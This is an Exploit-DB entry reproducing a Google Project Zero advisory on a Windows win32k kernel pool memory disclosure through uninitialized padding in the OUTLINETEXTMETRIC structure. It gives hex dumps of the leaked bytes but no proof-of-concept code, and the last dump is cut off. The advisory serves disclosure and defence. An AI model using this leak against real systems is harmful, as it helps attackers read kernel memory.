Exploit-DB #42210
Description: Microsoft Windows - 'win32k!NtGdiGetOutlineTextMetricsInternalW' Kernel Pool Memory Disclosure
Type: dos
Platform: windows
Date: 2017-06-21
Author: Google Security Research

Exploit:
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1144

The win32k!NtGdiGetOutlineTextMetricsInternalW system call corresponds to the documented GetOutlineTextMetrics API function [1], and is responsible for returning information about the outline text metrics associated with a specific Device Context. The output data is passed to the client via a OUTLINETEXTMETRIC structure [2], which contains fields of various basic types (LONG, WCHAR, BYTE, ...), as well as other embedded structures.

The simplified workflow of the syscall handler is as follows:
  1. Allocate a pool-based buffer with a user-specified size for the output data.
  2. Fill out all of the structure fields in the internal win32k!GreGetOutlineTextMetricsInternalW function.
  3. Copy the contents of the buffer back to user-mode.

Due to the mixture of fields of various widths, the structure has several padding holes which do not correspond to any specific fields, but are required for the correct alignment of the data inside. Since the kernel-mode buffer is not pre-initialized upon allocation, and the holes are also not explicitly initialized in the system call, they end up containing junk data (from previous pool allocations), which is then leaked to the user-mode application.

The initialization metadata of an example pool allocation created upon a request from explorer.exe on Windows 7 32-bit is shown below:

00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ................
00000050: ff 00 00 00 00 00 00 00 00 00 00 ff 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000120: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000130: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000140: 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ................

The OUTLINETEXTMETRIC structure starts at offset 0x10, the 0x00 values indicate initialized bytes, while 0xff are the uninitialized ones. Therefore, we can see there are 4 subsequent uninitialized bytes at offsets 0x3d-0x40 of the structure (corresponding to the padding after the otmTextMetrics structure, and the value of the otmFiller byte), and 1 uninitialized byte at offset 0x4b (which is the padding after the otmPanoseNumber structure).

The outcome of the vulnerability can be also observed in practice, by running the attached proof-of-concept program on a Windows system with Special Pools enabled for win32k.sys, and the win32k!gpTmpGlobalFree optimization disabled (so that the allocations actually take place on the pools every time). Then, we can see how the marker byte inserted by Special Pools can be consistently observed at offsets 0x3d-0x40 and 0x4b of the output structure:

00000000: 9e 01 00 00 0a 00 00 00 08 00 00 00 02 00 00 00 ................
00000010: 02 00 00 00 00 00 00 00 09 00 00 00 39 00 00 00 ............9...
00000020: 90 01 00 00 00 00 00 00 60 00 00 00 60 00 00 00 ........`...`...
00000030: 20 00 fc ff 1f 00 20 00 00 00 00 17 00[e5 e5 e5] ..... .........
00000040:[e5]02 02 06 03 05 04 05 02 03 04[e5]40 00 00 00 ............@...
00000050: 08 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 08 00 00 06 00 00 00 fe ff ff ff 01 00 00 00 ................
00000070: 04 00 00 00 02 00 00 00 f3 ff ff ff 08 00 00 00 ................
00000080: 2c 00 00 00 fe ff ff ff 07 00 00 00 fe ff ff ff ,...............
00000090: 00 00 00 00 09 00 00 00 0f 00 00 00 05 00 00 00 ................
000000a0: 00 00 00 00 01 00 00 00 0f 00 00 00 05 00 00 00 ................
000000b0: 00 00 00 00 04 00 00 00 00 00 00 00 02 00 00 00 ................
000000c0: 00 00 00 00 ff ff ff ff d8 00 00 00 f8 00 00 00 ................
000000d0: 18 01 00 00 2a 01 00 00 54 00 69 00 6d 00 65 00 ....*...T.i.m.e.
000000e0: 73 00 20 00 4e 00 65 00 77 00 20 00 52 00 6f 00 s. .N.e.w. .R.o.
000000f0: 6d 00 61 00 6e 00 00 00 54 00 69 00 6d 00 65 00 m.a.n...T.i.m.e.
00000100: 73 00 20 00 4e 00 65 00 77 00 20 00 52 00 6f 00 s. .N.e.w. .R.o.
00000110: 6d 00 61 00 6e 00 00 00 4e 00 6f 00 72 00 6d 00 m.a.n...N.o.r.m.
00000120: 61 00 6c 00 6e 00 79 00 00 00 4d 00 6f 00 6e 00 a.l.n.y...M.o.n.
00000130: 6f 00 74 00 79 00 70 00 65 00 3a 00 54 00 69 00 o.t.y.p.e.:.T.i.
00000140: 6d 00 65 00 73 00 20 00 4e 00 65 00 77 00 20 00 m.e.s. .N.e.w. .
00000150: 52 00 6f 00 6d 00 61 00 6e 00 20 00 52 00 65 00 R.o.m.a.n. .R.e.
00000160: 67 00 75 00 6c 00 61 00 72 00 3a 00 56 00 65 00 g.u.l.a.r.:.V.e.
00000170: 72 00 73 00 69 00 6f 00 6e 00 20 00 35 00 2e 00 r.s.i.o.n. .5...
00000180: 31 00 31 00 20 00 28 00 4d 00 69 00 63 00 72 00 1.1. .(.M.i.c.r.
00000190: 6f 00 73 00 6f 00 66 00 74 00 29 00 00 00 ?? ?? o.s.o.f.t.).....
---
00000000: 9e 01 00 00 0a 00 00 00 08 00 00 00 02 00 00 00 ................
00000010: 02 00